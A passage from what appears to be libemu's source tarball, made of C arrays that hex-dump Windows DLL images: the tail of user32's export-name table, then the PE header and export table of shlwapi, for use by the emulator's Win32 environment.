//.TrackMouseEvent /* 7E41C8E0 */ "\x00\x54\x72\x61\x63\x6B\x50\x6F\x70\x75\x70\x4D\x65\x6E\x75\x00" //.TrackPopupMenu. /* 7E41C900 */ "\x54\x72\x61\x63\x6B\x50\x6F\x70\x75\x70\x4D\x65\x6E\x75\x45\x78" //TrackPopupMenuEx /* 7E41C920 */ "\x00\x54\x72\x61\x6E\x73\x6C\x61\x74\x65\x41\x63\x63\x65\x6C\x65" //.TranslateAccele /* 7E41C940 */ "\x72\x61\x74\x6F\x72\x00\x54\x72\x61\x6E\x73\x6C\x61\x74\x65\x41" //rator.TranslateA /* 7E41C960 */ "\x63\x63\x65\x6C\x65\x72\x61\x74\x6F\x72\x41\x00\x54\x72\x61\x6E" //cceleratorA.Tran /* 7E41C980 */ "\x73\x6C\x61\x74\x65\x41\x63\x63\x65\x6C\x65\x72\x61\x74\x6F\x72" //slateAccelerator /* 7E41C9A0 */ "\x57\x00\x54\x72\x61\x6E\x73\x6C\x61\x74\x65\x4D\x44\x49\x53\x79" //W.TranslateMDISy /* 7E41C9C0 */ "\x73\x41\x63\x63\x65\x6C\x00\x54\x72\x61\x6E\x73\x6C\x61\x74\x65" //sAccel.Translate /* 7E41C9E0 */ "\x4D\x65\x73\x73\x61\x67\x65\x00\x54\x72\x61\x6E\x73\x6C\x61\x74" //Message.Translat /* 7E41CA00 */ "\x65\x4D\x65\x73\x73\x61\x67\x65\x45\x78\x00\x55\x6E\x68\x6F\x6F" //eMessageEx.Unhoo /* 7E41CA20 */ "\x6B\x57\x69\x6E\x45\x76\x65\x6E\x74\x00\x55\x6E\x68\x6F\x6F\x6B" //kWinEvent.Unhook /* 7E41CA40 */ "\x57\x69\x6E\x64\x6F\x77\x73\x48\x6F\x6F\x6B\x00\x55\x6E\x68\x6F" //WindowsHook.Unho /* 7E41CA60 */ "\x6F\x6B\x57\x69\x6E\x64\x6F\x77\x73\x48\x6F\x6F\x6B\x45\x78\x00" //okWindowsHookEx. /* 7E41CA80 */ "\x55\x6E\x69\x6F\x6E\x52\x65\x63\x74\x00\x55\x6E\x6C\x6F\x61\x64" //UnionRect.Unload /* 7E41CAA0 */ "\x4B\x65\x79\x62\x6F\x61\x72\x64\x4C\x61\x79\x6F\x75\x74\x00\x55" //KeyboardLayout.U /* 7E41CAC0 */ "\x6E\x6C\x6F\x63\x6B\x57\x69\x6E\x64\x6F\x77\x53\x74\x61\x74\x69" //nlockWindowStati /* 7E41CAE0 */ "\x6F\x6E\x00\x55\x6E\x70\x61\x63\x6B\x44\x44\x45\x6C\x50\x61\x72" //on.UnpackDDElPar /* 7E41CB00 */ "\x61\x6D\x00\x55\x6E\x72\x65\x67\x69\x73\x74\x65\x72\x43\x6C\x61" //am.UnregisterCla /* 7E41CB20 */ "\x73\x73\x41\x00\x55\x6E\x72\x65\x67\x69\x73\x74\x65\x72\x43\x6C" //ssA.UnregisterCl /* 7E41CB40 */ "\x61\x73\x73\x57\x00\x55\x6E\x72\x65\x67\x69\x73\x74\x65\x72\x44" //assW.UnregisterD /* 7E41CB60 */ "\x65\x76\x69\x63\x65\x4E\x6F\x74\x69\x66\x69\x63\x61\x74\x69\x6F" //eviceNotificatio /* 7E41CB80 */ "\x6E\x00\x55\x6E\x72\x65\x67\x69\x73\x74\x65\x72\x48\x6F\x74\x4B" //n.UnregisterHotK /* 7E41CBA0 */ "\x65\x79\x00\x55\x6E\x72\x65\x67\x69\x73\x74\x65\x72\x4D\x65\x73" //ey.UnregisterMes /* 7E41CBC0 */ "\x73\x61\x67\x65\x50\x75\x6D\x70\x48\x6F\x6F\x6B\x00\x55\x6E\x72" //sagePumpHook.Unr /* 7E41CBE0 */ "\x65\x67\x69\x73\x74\x65\x72\x55\x73\x65\x72\x41\x70\x69\x48\x6F" //egisterUserApiHo /* 7E41CC00 */ "\x6F\x6B\x00\x55\x70\x64\x61\x74\x65\x4C\x61\x79\x65\x72\x65\x64" //ok.UpdateLayered /* 7E41CC20 */ "\x57\x69\x6E\x64\x6F\x77\x00\x55\x70\x64\x61\x74\x65\x50\x65\x72" //Window.UpdatePer /* 7E41CC40 */ "\x55\x73\x65\x72\x53\x79\x73\x74\x65\x6D\x50\x61\x72\x61\x6D\x65" //UserSystemParame /* 7E41CC60 */ "\x74\x65\x72\x73\x00\x55\x70\x64\x61\x74\x65\x57\x69\x6E\x64\x6F" //ters.UpdateWindo /* 7E41CC80 */ "\x77\x00\x55\x73\x65\x72\x33\x32\x49\x6E\x69\x74\x69\x61\x6C\x69" //w.User32Initiali /* 7E41CCA0 */ "\x7A\x65\x49\x6D\x6D\x45\x6E\x74\x72\x79\x54\x61\x62\x6C\x65\x00" //zeImmEntryTable. /* 7E41CCC0 */ "\x55\x73\x65\x72\x43\x6C\x69\x65\x6E\x74\x44\x6C\x6C\x49\x6E\x69" //UserClientDllIni /* 7E41CCE0 */ "\x74\x69\x61\x6C\x69\x7A\x65\x00\x55\x73\x65\x72\x48\x61\x6E\x64" //tialize.UserHand /* 7E41CD00 */ "\x6C\x65\x47\x72\x61\x6E\x74\x41\x63\x63\x65\x73\x73\x00\x55\x73" //leGrantAccess.Us /* 7E41CD20 */ "\x65\x72\x4C\x70\x6B\x50\x53\x4D\x54\x65\x78\x74\x4F\x75\x74\x00" //erLpkPSMTextOut. /* 7E41CD40 */ "\x55\x73\x65\x72\x4C\x70\x6B\x54\x61\x62\x62\x65\x64\x54\x65\x78" //UserLpkTabbedTex /* 7E41CD60 */ "\x74\x4F\x75\x74\x00\x55\x73\x65\x72\x52\x65\x61\x6C\x69\x7A\x65" //tOut.UserRealize /* 7E41CD80 */ "\x50\x61\x6C\x65\x74\x74\x65\x00\x55\x73\x65\x72\x52\x65\x67\x69" //Palette.UserRegi /* 7E41CDA0 */ "\x73\x74\x65\x72\x57\x6F\x77\x48\x61\x6E\x64\x6C\x65\x72\x73\x00" //sterWowHandlers. /* 7E41CDC0 */ "\x56\x52\x69\x70\x4F\x75\x74\x70\x75\x74\x00\x56\x54\x61\x67\x4F" //VRipOutput.VTagO /* 7E41CDE0 */ "\x75\x74\x70\x75\x74\x00\x56\x61\x6C\x69\x64\x61\x74\x65\x52\x65" //utput.ValidateRe /* 7E41CE00 */ "\x63\x74\x00\x56\x61\x6C\x69\x64\x61\x74\x65\x52\x67\x6E\x00\x56" //ct.ValidateRgn.V /* 7E41CE20 */ "\x6B\x4B\x65\x79\x53\x63\x61\x6E\x41\x00\x56\x6B\x4B\x65\x79\x53" //kKeyScanA.VkKeyS /* 7E41CE40 */ "\x63\x61\x6E\x45\x78\x41\x00\x56\x6B\x4B\x65\x79\x53\x63\x61\x6E" //canExA.VkKeyScan /* 7E41CE60 */ "\x45\x78\x57\x00\x56\x6B\x4B\x65\x79\x53\x63\x61\x6E\x57\x00\x57" //ExW.VkKeyScanW.W /* 7E41CE80 */ "\x43\x53\x54\x6F\x4D\x42\x45\x78\x00\x57\x49\x4E\x4E\x4C\x53\x45" //CSToMBEx.WINNLSE /* 7E41CEA0 */ "\x6E\x61\x62\x6C\x65\x49\x4D\x45\x00\x57\x49\x4E\x4E\x4C\x53\x47" //nableIME.WINNLSG /* 7E41CEC0 */ "\x65\x74\x45\x6E\x61\x62\x6C\x65\x53\x74\x61\x74\x75\x73\x00\x57" //etEnableStatus.W /* 7E41CEE0 */ "\x49\x4E\x4E\x4C\x53\x47\x65\x74\x49\x4D\x45\x48\x6F\x74\x6B\x65" //INNLSGetIMEHotke /* 7E41CF00 */ "\x79\x00\x57\x61\x69\x74\x46\x6F\x72\x49\x6E\x70\x75\x74\x49\x64" //y.WaitForInputId /* 7E41CF20 */ "\x6C\x65\x00\x57\x61\x69\x74\x4D\x65\x73\x73\x61\x67\x65\x00\x57" //le.WaitMessage.W /* 7E41CF40 */ "\x69\x6E\x33\x32\x50\x6F\x6F\x6C\x41\x6C\x6C\x6F\x63\x61\x74\x69" //in32PoolAllocati /* 7E41CF60 */ "\x6F\x6E\x53\x74\x61\x74\x73\x00\x57\x69\x6E\x48\x65\x6C\x70\x41" //onStats.WinHelpA /* 7E41CF80 */ "\x00\x57\x69\x6E\x48\x65\x6C\x70\x57\x00\x57\x69\x6E\x64\x6F\x77" //.WinHelpW.Window /* 7E41CFA0 */ "\x46\x72\x6F\x6D\x44\x43\x00\x57\x69\x6E\x64\x6F\x77\x46\x72\x6F" //FromDC.WindowFro /* 7E41CFC0 */ "\x6D\x50\x6F\x69\x6E\x74\x00\x6B\x65\x79\x62\x64\x5F\x65\x76\x65" //mPoint.keybd_eve /* 7E41CFE0 */ "\x6E\x74\x00\x6D\x6F\x75\x73\x65\x5F\x65\x76\x65\x6E\x74\x00\x77" //nt.mouse_event.w /* 7E41D000 */ "\x73\x70\x72\x69\x6E\x74\x66\x41\x00\x77\x73\x70\x72\x69\x6E\x74" //sprintfA.wsprint /* 7E41D020 */ "\x66\x57\x00\x77\x76\x73\x70\x72\x69\x6E\x74\x66\x41\x00\x77\x76" //fW.wvsprintfA.wv /* 7E41D040 */ "\x73\x70\x72\x69\x6E\x74\x66\x57\x00\x90\x90\x90\x90\x90\xB8\x43" //sprintfW.......C /* 7E41D060 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; //................ libemu-0.2.0+git20120122+564/src/environment/win32/dlls/shlwapidll.c0000644000175300017530000021601011706767213023405 0ustar dt-npbdt-npbconst char shlwapi_77F60000[] = /* 000000 */ "\x4D\x5A\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xFF\xFF\x00\x00" //MZ..........ÿÿ.. /* 000020 */ "\xB8\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00" //........@....... /* 000040 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //................ /* 000060 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xF8\x00\x00\x00" //............ø... /* 000080 */ "\x0E\x1F\xBA\x0E\x00\xB4\x09\xCD\x21\xB8\x01\x4C\xCD\x21\x54\x68" //.......Í!..LÍ!Th /* 0000A0 */ "\x69\x73\x20\x70\x72\x6F\x67\x72\x61\x6D\x20\x63\x61\x6E\x6E\x6F" //is.program.canno /* 0000C0 */ "\x74\x20\x62\x65\x20\x72\x75\x6E\x20\x69\x6E\x20\x44\x4F\x53\x20" //t.be.run.in.DOS. /* 0000E0 */ "\x6D\x6F\x64\x65\x2E\x0D\x0D\x0A\x24\x00\x00\x00\x00\x00\x00\x00" //mode....$....... /* 000100 */ "\x32\xC1\xF5\xE0\x76\xA0\x9B\xB3\x76\xA0\x9B\xB3\x76\xA0\x9B\xB3" //2Áõàv...v...v... /* 000120 */ "\x76\xA0\x9B\xB3\x71\xA0\x9B\xB3\x76\xA0\x9A\xB3\xFB\xA2\x9B\xB3" //v...q...v...û... /* 000140 */ "\xB5\xAF\xC6\xB3\x7D\xA0\x9B\xB3\xB5\xAF\x94\xB3\x7F\xA0\x9B\xB3" //..Æ.}........... /* 000160 */ "\xC9\xAF\xFB\xB3\x74\xA0\x9B\xB3\xB5\xAF\xFB\xB3\x41\xA0\x9B\xB3" //É.û.t.....û.A... /* 000180 */ "\xB5\xAF\xC7\xB3\x77\xA0\x9B\xB3\xB5\xAF\xC5\xB3\x77\xA0\x9B\xB3" //..Ç.w.....Å.w... /* 0001A0 */ "\xB5\xAF\xC4\xB3\xC7\xA0\x9B\xB3\xB5\xAF\xC1\xB3\x77\xA0\x9B\xB3" //..Ä.Ç.....Á.w... /* 0001C0 */ "\x52\x69\x63\x68\x76\xA0\x9B\xB3\x00\x00\x00\x00\x00\x00\x00\x00" //Richv........... /* 0001E0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x50\x45\x00\x00\x4C\x01\x04\x00" //........PE..L... /* 000200 */ "\x10\x1B\x1E\x4B\x5B\x4C\x6F\x72\x64\x50\x45\x5D\xE0\x00\x0E\x21" //...K[LordPE]à..! /* 000220 */ "\x0B\x01\x07\x0A\x00\xBC\x06\x00\x00\x80\x00\x00\x00\x00\x00\x00" //................ /* 000240 */ "\x0B\x52\x00\x00\x00\x10\x00\x00\x00\xD0\x06\x00\x00\x00\xF6\x77" //.R.......Ð....öw /* 000260 */ "\x00\x10\x00\x00\x00\x10\x00\x00\x05\x00\x01\x00\x05\x00\x01\x00" //................ /* 000280 */ "\x04\x00\x00\x00\x00\x00\x00\x00\x00\x60\x07\x00\x00\x10\x00\x00" //.........`...... /* 0002A0 */ "\x64\x04\x08\x00\x02\x00\x00\x00\x00\x00\x04\x00\x00\x10\x00\x00" //d............... /* 0002C0 */ "\x00\x00\x10\x00\x00\x10\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00" //................ /* 0002E0 */ "\x20\x18\x00\x00\xFE\x27\x00\x00\x28\x9E\x06\x00\x78\x00\x00\x00" //....þ'..(...x... /* 000300 */ "\x00\xE0\x06\x00\x60\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //.à..`........... /* 000320 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\x00\xD4\x59\x00\x00" //............ÔY.. /* 000340 */ "\x48\xCB\x06\x00\x38\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //HË..8........... /* 000360 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //................ /* 000380 */ "\xF0\x11\x04\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //ð...@........... /* 0003A0 */ "\x00\x10\x00\x00\x20\x08\x00\x00\x7C\x91\x06\x00\x20\x02\x00\x00" //........|....... /* 0003C0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //................ /* 0003E0 */ "\x2E\x74\x65\x78\x74\x00\x00\x00\xA8\xBB\x06\x00\x00\x10\x00\x00" //.text........... /* 000400 */ "\xA8\xBB\x06\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //................ /* 000420 */ "\x00\x00\x00\x00\x20\x00\x00\x60\x2E\x64\x61\x74\x61\x00\x00\x00" //.......`.data... /* 000440 */ "\xF8\x0F\x00\x00\x00\xD0\x06\x00\xF8\x0F\x00\x00\x00\xD0\x06\x00" //ø....Ð..ø....Ð.. /* 000460 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\xC0" //............@..À /* 000480 */ "\x2E\x72\x73\x72\x63\x00\x00\x00\x60\x15\x00\x00\x00\xE0\x06\x00" //.rsrc...`....à.. /* 0004A0 */ "\x60\x15\x00\x00\x00\xE0\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00" //`....à.......... /* 0004C0 */ "\x00\x00\x00\x00\x40\x00\x00\x40\x2E\x72\x65\x6C\x6F\x63\x00\x00" //....@..@.reloc.. /* 0004E0 */ "\xD4\x59\x00\x00\x00\x00\x07\x00\xD4\x59\x00\x00\x00\x00\x07\x00" //ÔY......ÔY...... /* 000500 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x42" //............@..B /* 000520 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //................ /* 000540 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //................ /* 000560 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //................ /* 000580 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //................ /* 0005A0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //................ /* 0005C0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //................ /* 0005E0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //................ /* 000600 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //................ /* 000620 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //................ /* 000640 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //................ /* 000660 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //................ /* 000680 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //................ /* 0006A0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //................ /* 0006C0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //................ /* 0006E0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //................ /* 000700 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //................ /* 000720 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //................ /* 000740 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //................ ; const char shlwapi_77f61820[] = /* 000000 */ "\x00\x00\x00\x00\x80\x05\x1D\x4B\x00\x00\x00\x00\x0C\x2D\x00\x00" //.......K.....-.. /* 000020 */ "\x01\x00\x00\x00\x5A\x03\x00\x00\x3A\x01\x00\x00\x48\x18\x00\x00" //....Z...:...H... /* 000040 */ "\xB0\x25\x00\x00\x98\x2A\x00\x00\x03\x1E\x02\x00\x12\xBB\x00\x00" //.%...*.......... /* 000060 */ "\xBE\x8B\x04\x00\x1F\x88\x01\x00\x71\x8C\x04\x00\x5A\x53\x01\x00" //........q...ZS.. /* 000080 */ "\x01\xB6\x00\x00\x7B\xC3\x01\x00\x4E\xB5\x00\x00\x69\xB5\x00\x00" //....{Ã..N...i... /* 0000A0 */ "\xC0\xB4\x00\x00\x0A\x85\x01\x00\x64\x2C\x02\x00\x35\xDE\x05\x00" //À.......d,..5Þ.. /* 0000C0 */ "\x22\xCB\x02\x00\xE6\x73\x01\x00\x2F\xBE\x01\x00\x5B\xA3\x01\x00" //"Ë..æs../...[... /* 0000E0 */ "\x8E\xB8\x00\x00\x10\xB8\x00\x00\xEF\xB7\x00\x00\x21\xA3\x01\x00" //........ï...!... /* 000100 */ "\x72\x85\x00\x00\x11\x4D\x00\x00\xD5\x27\x02\x00\xF4\x54\x04\x00" //r....M..Õ'..ôT.. /* 000120 */ "\x35\x56\x04\x00\x85\x29\x02\x00\xE5\x58\x01\x00\xBD\x54\x04\x00" //5V...)..åX...T.. /* 000140 */ "\x55\x53\x04\x00\x95\x54\x04\x00\x96\x26\x02\x00\x15\x29\x02\x00" //US...T...&...).. /* 000160 */ "\x75\x57\x04\x00\x2F\xF8\x04\x00\x6E\x0C\x02\x00\x1E\xCC\x00\x00" //uW../ø..n....Ì.. /* 000180 */ "\x23\x98\x04\x00\x8A\xD9\x01\x00\xC5\x67\x00\x00\xFB\xBB\x04\x00" //#....Ù..Åg..û... /* 0001A0 */ "\x74\xA8\x01\x00\x80\x9A\x04\x00\x1B\x6A\x00\x00\x27\x9E\x04\x00" //t........j..'... /* 0001C0 */ "\x41\x9E\x04\x00\xA3\xBD\x04\x00\x2E\x71\x01\x00\x0D\xBE\x04\x00" //A........q...... /* 0001E0 */ "\x72\xA9\x01\x00\xBF\x7F\x00\x00\x29\x33\x02\x00\xD8\xBD\x04\x00" //r.......)3..Ø... /* 000200 */ "\x1E\xA7\x01\x00\x7D\x77\x00\x00\x74\xBE\x04\x00\xA3\x9E\x04\x00" //....}w..t....... /* 000220 */ "\xEB\x9E\x04\x00\x65\x2A\x02\x00\xD6\xBE\x04\x00\x72\xBF\x04\x00" //ë...e*..Ö...r... /* 000240 */ "\xD4\x33\x02\x00\xD9\x9F\x04\x00\xB8\x2E\x02\x00\xE6\xAA\x01\x00" //Ô3..Ù.......æ... /* 000260 */ "\x5A\xAB\x01\x00\x70\xC4\x04\x00\x21\xA5\x01\x00\x3B\xA1\x04\x00" //Z...pÄ..!...;... /* 000280 */ "\xD5\x0B\x02\x00\xFE\xC5\x04\x00\x2F\xDD\x01\x00\x56\xF8\x04\x00" //Õ...þÅ../Ý..Vø.. /* 0002A0 */ "\x5E\x7D\x00\x00\x6E\xAA\x01\x00\x99\xCB\x01\x00\xA1\xD2\x04\x00" //^}..n....Ë...Ò.. /* 0002C0 */ "\xC7\x0C\x02\x00\xE1\xA5\x01\x00\x9B\x86\x01\x00\x7D\xC6\x04\x00" //Ç...á.......}Æ.. /* 0002E0 */ "\xA6\xA5\x01\x00\xFF\x04\x01\x00\x77\xCB\x04\x00\x19\xCC\x04\x00" //....ÿ...wË...Ì.. /* 000300 */ "\x86\x0C\x02\x00\xFB\xCA\x04\x00\xF9\xCC\x04\x00\xAA\xCD\x04\x00" //....ûÊ..ùÌ...Í.. /* 000320 */ "\x28\xCE\x04\x00\x90\x33\x02\x00\xFC\x32\x02\x00\x95\x77\x00\x00" //(Î...3..ü2...w.. /* 000340 */ "\x15\x0D\x02\x00\xF7\x0C\x02\x00\xD9\x86\x01\x00\x04\xD4\x04\x00" //....÷...Ù....Ô.. /* 000360 */ "\x11\xA2\x04\x00\x9B\xCC\x02\x00\x2B\xA2\x04\x00\x3F\xA9\x01\x00" //.....Ì..+...?... /* 000380 */ "\x4C\xA2\x04\x00\x40\x05\x01\x00\xBC\x89\x00\x00\x3B\xD2\x04\x00" //L...@.......;Ò.. /* 0003A0 */ "\x44\x77\x00\x00\x2A\xD6\x04\x00\x4D\xD7\x04\x00\x61\x33\x02\x00" //Dw..*Ö..M×..a3.. /* 0003C0 */ "\xCD\xD6\x04\x00\xC5\xD7\x04\x00\x4E\xD8\x04\x00\xD1\xD8\x04\x00" //ÍÖ..Å×..NØ..ÑØ.. /* 0003E0 */ "\xB0\xD9\x04\x00\x55\x71\x00\x00\xBF\x25\x02\x00\xDF\x0C\x02\x00" //.Ù..Uq...%..ß... /* 000400 */ "\x0B\xDA\x04\x00\xD9\x94\x00\x00\x09\xF5\x01\x00\xD6\x09\x01\x00" //.Ú..Ù....õ..Ö... /* 000420 */ "\x73\x07\x01\x00\x5C\xC5\x02\x00\x02\x41\x00\x00\xA8\x08\x01\x00" //s...\Å...A...... /* 000440 */ "\x79\xDA\x04\x00\x6E\x42\x00\x00\x5E\xDB\x04\x00\x9E\x76\x00\x00" //yÚ..nB..^Û...v.. /* 000460 */ "\x91\xA7\x01\x00\x69\x42\x02\x00\x56\x1A\x01\x00\xAF\x0D\x02\x00" //....iB..V....... /* 000480 */ "\x91\xF8\x04\x00\x65\x77\x00\x00\xF9\xE2\x04\x00\xCA\xF8\x04\x00" //.ø..ew..ùâ..Êø.. /* 0004A0 */ "\x87\xE6\x04\x00\x19\x0C\x02\x00\xF7\xA8\x01\x00\xBC\xBD\x01\x00" //.æ......÷....... /* 0004C0 */ "\x5B\xE3\x04\x00\x91\xE9\x04\x00\xA3\xC5\x02\x00\x61\xB5\x04\x00" //[ã...é...Å..a... /* 0004E0 */ "\xF0\x0D\x02\x00\xD5\xE3\x04\x00\x40\xE4\x04\x00\x7B\xB5\x04\x00" //ð...Õã..@ä..{... /* 000500 */ "\xD7\x4C\x01\x00\x99\xC6\x00\x00\xD8\xBB\x00\x00\x90\xA9\x01\x00" //×L...Æ..Ø....... /* 000520 */ "\x8E\x2E\x02\x00\x29\x69\x00\x00\x00\x70\x00\x00\xB8\x6F\x00\x00" //....)i...p...o.. /* 000540 */ "\xDF\xD5\x04\x00\x9E\x0C\x06\x00\xA1\x07\x06\x00\x87\xB4\x01\x00" //ßÕ.............. /* 000560 */ "\x15\x60\x01\x00\xF9\x90\x00\x00\xF1\x94\x01\x00\xA9\x7B\x01\x00" //.`..ù...ñ....{.. /* 000580 */ "\x11\xCD\x02\x00\x26\x35\x02\x00\x3A\x83\x00\x00\xA6\x7C\x04\x00" //.Í..&5..:....|.. /* 0005A0 */ "\xB5\x5C\x01\x00\x23\x5D\x01\x00\x83\xBC\x01\x00\x31\x7C\x00\x00" //.\..#]......1|.. /* 0005C0 */ "\xFA\x99\x00\x00\xA0\x83\x00\x00\x1F\x72\x05\x00\x00\x27\x01\x00" //ú........r...'.. /* 0005E0 */ "\x6A\x72\x05\x00\xBD\x72\x05\x00\xFA\x72\x05\x00\x1D\x73\x05\x00" //jr...r..úr...s.. /* 000600 */ "\x7D\x73\x05\x00\x76\xC2\x00\x00\xB5\x79\x05\x00\x64\x7C\x05\x00" //}s..vÂ...y..d|.. /* 000620 */ "\xF9\x6A\x01\x00\xDE\x7C\x05\x00\xCD\x35\x02\x00\x2A\x7D\x05\x00" //ùj..Þ|..Í5..*}.. /* 000640 */ "\x2B\x79\x05\x00\xAB\xC9\x01\x00\x3E\xC2\x00\x00\xF0\xAE\x01\x00" //+y...É..>Â..ð... /* 000660 */ "\xA1\x7D\x05\x00\x2E\x78\x06\x00\xE1\xCF\x01\x00\x2F\x7E\x05\x00" //.}...x..áÏ../~.. /* 000680 */ "\x42\x70\x00\x00\xCD\x71\x05\x00\xFE\x8E\x01\x00\x27\x8F\x01\x00" //Bp..Íq..þ...'... /* 0006A0 */ "\x66\x7E\x05\x00\xEE\x76\x00\x00\x49\x20\x04\x00\x73\x20\x04\x00" //f~..îv..I...s... /* 0006C0 */ "\xD0\x7E\x05\x00\x03\x76\x01\x00\x02\x14\x04\x00\x4E\x8A\x01\x00" //Ð~...v......N... /* 0006E0 */ "\x1A\x8A\x01\x00\x21\xC3\x00\x00\x69\x7D\x01\x00\xC7\x7E\x01\x00" //....!Ã..i}..Ç~.. /* 000700 */ "\x58\x69\x00\x00\x76\x69\x00\x00\x4F\x41\x00\x00\x6D\x41\x00\x00" //Xi..vi..OA..mA.. /* 000720 */ "\x86\x40\x00\x00\xC4\x7F\x05\x00\x76\x80\x05\x00\x60\x50\x00\x00" //.@..Ä...v...`P.. /* 000740 */ "\xD9\x6A\x00\x00\x85\x32\x06\x00\x45\x72\x01\x00\xEB\x59\x05\x00" //Ùj...2..Er..ëY.. /* 000760 */ "\xC8\x59\x05\x00\x73\x59\x05\x00\x4E\x59\x05\x00\xE7\x58\x05\x00" //ÈY..sY..NY..çX.. /* 000780 */ "\x0B\x41\x01\x00\x71\x58\x05\x00\x38\x41\x01\x00\xA9\x5A\x05\x00" //.A..qX..8A...Z.. /* 0007A0 */ "\x40\x5A\x05\x00\x00\x8A\x00\x00\xE8\xA6\x01\x00\xB6\x73\x05\x00" //@Z......è....s.. /* 0007C0 */ "\x68\xA5\x01\x00\xAD\x77\x00\x00\x3E\x50\x00\x00\x2D\x30\x04\x00" //h....w..>P..-0.. /* 0007E0 */ "\x0B\x3A\x04\x00\x2F\x3A\x04\x00\x0B\x3B\x04\x00\xE7\x3C\x04\x00" //.:../:...;..ç<.. /* 000800 */ "\xE7\x41\x04\x00\xBD\x42\x04\x00\x76\x43\x04\x00\xDE\x2D\x04\x00" //çA...B..vC..Þ-.. /* 000820 */ "\x32\x40\x04\x00\x13\x40\x04\x00\x95\x3A\x04\x00\xA5\x3A\x04\x00" //2@...@...:...:.. /* 000840 */ "\x33\x2E\x04\x00\x74\x8C\x01\x00\xAA\x80\x05\x00\x84\x54\x06\x00" //3...t........T.. /* 000860 */ "\x4A\x52\x06\x00\xAF\x95\x00\x00\x70\x11\x06\x00\x7B\x11\x06\x00" //JR......p...{... /* 000880 */ "\x8C\x11\x06\x00\x9D\x11\x06\x00\xAE\x11\x06\x00\x07\x6D\x00\x00" //.............m.. /* 0008A0 */ "\x78\x89\x00\x00\x79\x83\x00\x00\x53\x72\x00\x00\x14\x72\x00\x00" //x...y...Sr...r.. /* 0008C0 */ "\xE9\xC0\x00\x00\x1E\x1B\x06\x00\x22\x21\x06\x00\x85\x82\x05\x00" //éÀ......"!...... /* 0008E0 */ "\xA3\x82\x05\x00\x27\x34\x02\x00\x51\x84\x05\x00\x5B\x96\x01\x00" //....'4..Q...[... /* 000900 */ "\x5D\x94\x05\x00\x99\x22\x04\x00\x44\x5F\x01\x00\x2E\x26\x02\x00" //]...."..D_...&.. /* 000920 */ "\xD2\x5F\x01\x00\x14\x5F\x01\x00\x30\x2A\x02\x00\x9E\x2D\x02\x00" //Ò_..._..0*...-.. /* 000940 */ "\xF1\x29\x02\x00\x51\xBA\x01\x00\x39\x2E\x02\x00\x27\x63\x04\x00" //ñ)..Q...9...'c.. /* 000960 */ "\x4A\x7B\x05\x00\xCB\x7A\x05\x00\x30\x1B\x06\x00\x1B\xB4\x00\x00" //J{..Ëz..0....... /* 000980 */ "\x04\x9C\x05\x00\xED\x98\x05\x00\x5B\x99\x05\x00\x58\x98\x01\x00" //....í...[...X... /* 0009A0 */ "\x6C\xF7\x01\x00\x12\x8C\x01\x00\xD0\xE5\x04\x00\x82\xB6\x04\x00" //l÷......Ðå...... /* 0009C0 */ "\x10\xB8\x04\x00\x93\xE7\x04\x00\x2E\x9B\x01\x00\xA2\x6B\x00\x00" //.....ç.......k.. /* 0009E0 */ "\x00\xBA\x01\x00\xF0\x31\x02\x00\x25\xA6\x01\x00\xA4\xE3\x01\x00" //....ð1..%....ã.. /* 000A00 */ "\xF4\xE3\x01\x00\xD9\xB1\x00\x00\xF5\xE7\x04\x00\xE9\xC5\x02\x00" //ôã..Ù...õç..éÅ.. /* 000A20 */ "\xE9\xE8\x04\x00\xA3\xF4\x01\x00\x59\xF4\x01\x00\x69\xEA\x04\x00" 